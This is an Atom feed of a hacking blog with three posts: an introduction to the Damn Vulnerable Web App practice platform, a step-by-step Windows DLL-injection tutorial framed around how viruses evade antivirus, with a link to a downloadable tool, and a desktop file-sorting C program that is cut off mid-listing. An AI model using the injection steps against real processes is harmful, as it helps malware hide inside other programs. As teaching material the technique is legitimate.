<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3923341174176615518</id><updated>2026-10-19T12:10:53.997+05:30</updated><category term="Windows"/><category term="Informative"/><category term="Google"/><category term="Hacking"/><category term="Firefox"/><category term="Facebook"/><category term="Computers"/><category term="Hacking Softwares"/><category term="Scripts"/><category term="Viruses - Trojans"/><category term="Coding"/><category term="E-Mails"/><category term="Mobile"/><category term="WEBSITE HACKING"/><category term="Activities"/><category term="Chrome"/><title type='text'>Hack&#39;a&#39;Holic : Decrypting Encrypted Ideas</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>116</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-5547654453291873368</id><published>2012-01-04T17:17:00.000+05:30</published><updated>2012-01-04T19:52:15.155+05:30</updated><title type='text'>Damn Vulnerable Web App – Learn &amp; Practise Web Hacking</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Hp-EkD9DHDZFM80fBmX4PTkMvO-9tNq-9Y8y7F9xpvJ_8HafTkTImouHRxH0wSfU94ULxt96e8xba53yzAc7qA2allPOncStIcyP9GQNvO9Gu6vPMcKJjEqR-dpm-LVE1EUHrIu8OwJ3/s1600/dvwa.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Hp-EkD9DHDZFM80fBmX4PTkMvO-9tNq-9Y8y7F9xpvJ_8HafTkTImouHRxH0wSfU94ULxt96e8xba53yzAc7qA2allPOncStIcyP9GQNvO9Gu6vPMcKJjEqR-dpm-LVE1EUHrIu8OwJ3/s320/dvwa.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;DVWA in action&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.&lt;br /&gt;
It is a best platform to practice web application hacking and security.&lt;br /&gt;
&lt;br /&gt;
Using this app, you can practice the following existing vulnerabilities:&lt;br /&gt;
SQL Injection&lt;br /&gt;
XSS (Cross Site Scripting)&lt;br /&gt;
LFI (Local File Inclusion)&lt;br /&gt;
RFI (Remote File Inclusion)&lt;br /&gt;
Command Execution&lt;br /&gt;
Upload Script&lt;br /&gt;
Login Brute Force&lt;br /&gt;
&lt;br /&gt;
Earlier it was launched with few features only, but recently some new features have been added into this app. Some of the new features are:&lt;br /&gt;
&lt;br /&gt;
Added Acunetix scan report.&lt;br /&gt;
All links use http://hiderefer.com to hide referrer header.&lt;br /&gt;
Updated/added ‘more info’ links.&lt;br /&gt;
Moved change log info to CHANGELOG.txt.&lt;br /&gt;
Fixed the exec.php UTF-8 output.&lt;br /&gt;
Moved Help/View source buttons to footer.&lt;br /&gt;
Fixed phpInfo bug.&lt;br /&gt;
Made DVWA IE friendly.&lt;br /&gt;
Fixed html bugs.&lt;br /&gt;
Improved README.txt and fixed typos.&lt;br /&gt;
Made SQL injection possible in sqli_med.php.&lt;br /&gt;
&lt;br /&gt;
Warning: But before testing,&amp;nbsp;do not upload it to your hosting provider’s public html folder or any working web server as it will be hacked because this application is damn vulnerable. It’s recommend that you download and install XAMP onto a local machine inside your LAN which can be used solely for testing. &lt;br /&gt;
&lt;br /&gt;
You can also install it in your Backtrack machine. Generally we need xampp server to setup damn vulnerable web application but xampp server is nothing but a collection of apache, sql, perl, PHP, openssl and other server side software&#39;s but backtrack 5 has all of these software&#39;s installed. It means there is no need to install xampp on backtrack machine. All you need to do is to get damn vulnerable web app and put it on the root directory of backtrack.&lt;br /&gt;
To download dvwa: http://www.dvwa.co.uk/&lt;br /&gt;
&amp;nbsp;--DR34MHAXX&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/5547654453291873368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2012/01/damn-vulnerable-web-app-dvwa.html#comment-form' title='170 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5547654453291873368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5547654453291873368'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2012/01/damn-vulnerable-web-app-dvwa.html' title='Damn Vulnerable Web App – Learn &amp; Practise Web Hacking'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6Hp-EkD9DHDZFM80fBmX4PTkMvO-9tNq-9Y8y7F9xpvJ_8HafTkTImouHRxH0wSfU94ULxt96e8xba53yzAc7qA2allPOncStIcyP9GQNvO9Gu6vPMcKJjEqR-dpm-LVE1EUHrIu8OwJ3/s72-c/dvwa.jpg" height="72" width="72"/><thr:total>170</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-1437927972387596479</id><published>2012-01-02T11:51:00.000+05:30</published><updated>2012-01-02T11:57:07.546+05:30</updated><title type='text'>Code(dll) injection</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Prerequisites::&lt;br /&gt;
win32 programming&lt;br /&gt;
c++&lt;br /&gt;
Typical viruses sometimes inject their processes in another running process by using windows api functions.They then become harder to detect for the antivirus.In this article we will see how we can inject our code in the remote process thereby causing a remote dll to get loaded in the remote process&#39; address space&lt;br /&gt;
The steps for injecting a dll in other process&amp;nbsp; are::&lt;br /&gt;
1.)Create (or open handle to) the process we want the dll to be injected in.&lt;br /&gt;
2.)Allocate some memory for the name of the dll in the desired process (in which we want to inject our dll) using VirtualAllocEx and WriteProcessMemory function.&lt;br /&gt;
3.)Obtain the address of LoadLibrary(to load the dll in remote process) in our process using functions GetModuleHandle and GetProcAddress.Here, we assume here that kernel32.dll (which contains the LoadLibrary ) will be loaded at the same address in the remote process .So that the address of LoadLibrary will not differ.&lt;br /&gt;
4.)After that we need to use the CreateRemoteThread function&lt;br /&gt;
(syntax::&lt;br /&gt;
HANDLE WINAPI CreateRemoteThread(hProcess,lpThreadAttributes,dwStackSize&lt;br /&gt;
,lpStartAddress,lpParameter,dwCreationFlags,&lt;br /&gt;
lpThreadId)&lt;br /&gt;
);) to spawn a new thread in the remote process and execute the function LoadLibrary(whose address is specified by the 4th parameter ie.lpStartAddress which we obtained in the above step 3).&lt;br /&gt;
4.)LoadLibrary will thus be the default function to be executed in the remote process&#39; thread once it (ie. the thread) starts since it&#39;s address has been passed to the CreateRemoteThread function.&lt;br /&gt;
5.)This will execute our LoadLibrary function with the parameter lpParameter(ie. the pointer to the name of the dll which we allocated in the remote address space using VirtualAllocEx and WriteProcessMemory in step 2)&lt;br /&gt;
6.)Once our dll is loaded the code inside it will be executed.&lt;br /&gt;
Thus we see that by using dll inject we can cause the remote application to behave arbitrarily in our own way.Other method to inject are by changing the value of the eip register(Later :))&lt;br /&gt;
For more reference and for the api documentation refer to msdn and codeproject..&lt;br /&gt;
&lt;br /&gt;
Working app::http://www.mediafire.com/?858h6tcstxcujo5 &lt;br /&gt;
&lt;br /&gt;
Let me know if there are any bugs with the implementation. &lt;br /&gt;
~~crank&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/1437927972387596479/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2012/01/codedll-injection.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1437927972387596479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1437927972387596479'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2012/01/codedll-injection.html' title='Code(dll) injection'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-463122128243492782</id><published>2011-12-27T12:09:00.000+05:30</published><updated>2011-12-27T12:09:51.537+05:30</updated><title type='text'>DESKTOP CLEANING APPLICATION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
From various souces around we get many files on our desktop which are not to be used right then but to be kept for later use.This application is to clean your desktop. It would check the extension of your file and send it to the desired location.Various windows API functions have been used in the coding. The file management functions with their parameters and brief description is as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1.)FindFirstFile function: Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).&lt;br /&gt;&amp;nbsp; SYNTAX: HANDLE WINAPI FindFirstFile (LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData);&lt;br /&gt;&amp;nbsp;PARAMETERS:&lt;br /&gt;lpFileName [in]&lt;br /&gt;The directory or path, and the file name. Since we are talking of a particular case we have given the path of our desktop. We have used * with extension of files we want to move. &lt;br /&gt;lpFindFileData [out]&lt;br /&gt;A pointer to the WIN32_FIND_DATA structure that receives information about a found file or directory.&lt;br /&gt;&lt;br /&gt;If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile, and the lpFindFileData parameter contains information about the first file or directory found.&lt;br /&gt;If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.)FindNextFile function :&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Continues a file search from a previous call to the FindFirstFile function.&lt;br /&gt;&amp;nbsp;&amp;nbsp; SYNTAX:&lt;br /&gt;&amp;nbsp;&amp;nbsp; BOOL WINAPI FindNextFile(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData);&lt;br /&gt;&amp;nbsp; PARAMETERS:&lt;br /&gt;hFindFile [in]&lt;br /&gt;The search handle returned by a previous call to the FindFirstFile function.&lt;br /&gt;lpFindFileData [out]&lt;br /&gt;A pointer to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. &lt;br /&gt;The structure can be used in subsequent calls to FindNextFile to indicate from which file to continue the search.&lt;br /&gt;If the function succeeds, the return value is nonzero and the lpFindFileData parameter contains information about the next file or directory found.&lt;br /&gt;If the function fails, the return value is zero and the contents of lpFindFileData are indeterminate&lt;br /&gt;&lt;br /&gt;3.)MoveFile function :&lt;br /&gt;Moves an existing file or a directory, including its children.&lt;br /&gt;&lt;br /&gt;SYNTAX:BOOL WINAPI MoveFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName);&lt;br /&gt;&lt;br /&gt;PARAMETERS:&lt;br /&gt;lpExistingFileName [in]&lt;br /&gt;The current name of the file or directory on the local computer. The location from where we are moving our file.&lt;br /&gt;lpNewFileName [in]&lt;br /&gt;The new name for the file or directory. The new name must not already exist.The location where we want to move our file.&lt;br /&gt;&lt;br /&gt;If the function succeeds, the return value is nonzero.If the function fails, the return value is zero.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here&#39;s the source code::&lt;br /&gt;#include&amp;lt;windows.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;conio.h&amp;gt;&lt;br /&gt;void cpp(void);&lt;br /&gt;void mp3();&lt;br /&gt;void jpg();&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;cpp();&lt;br /&gt;mp3();&lt;br /&gt;jpg();&lt;br /&gt;getch();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;void cpp()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HANDLE hwnd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WIN32_FIND_DATA a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hwnd=FindFirstFile(&quot;C:\\users\\neha\\desktop\\*.cpp&quot;,&amp;amp;a);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to[100]=&quot;E:\\cpp\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from,a.cFileName); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from,to);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(0!=FindNextFile(hwnd,&amp;amp;a))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from1[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to1[100]=&quot;E:\\cpp\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from1,to1); &lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;void mp3()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HANDLE hwnd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WIN32_FIND_DATA a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hwnd=FindFirstFile(&quot;C:\\users\\neha\\desktop\\*.mp3&quot;,&amp;amp;a);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to[100]=&quot;E:\\selected songs\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from,a.cFileName); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from,to);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(0!=FindNextFile(hwnd,&amp;amp;a))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from1[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to1[100]=&quot;E:\\selected songs\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from1,to1); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;void jpg()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HANDLE hwnd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WIN32_FIND_DATA a;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hwnd=FindFirstFile(&quot;C:\\users\\neha\\desktop\\*.jpg&quot;,&amp;amp;a);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to[100]=&quot;E:\\pictures\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from,a.cFileName); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from,to);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(0!=FindNextFile(hwnd,&amp;amp;a))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 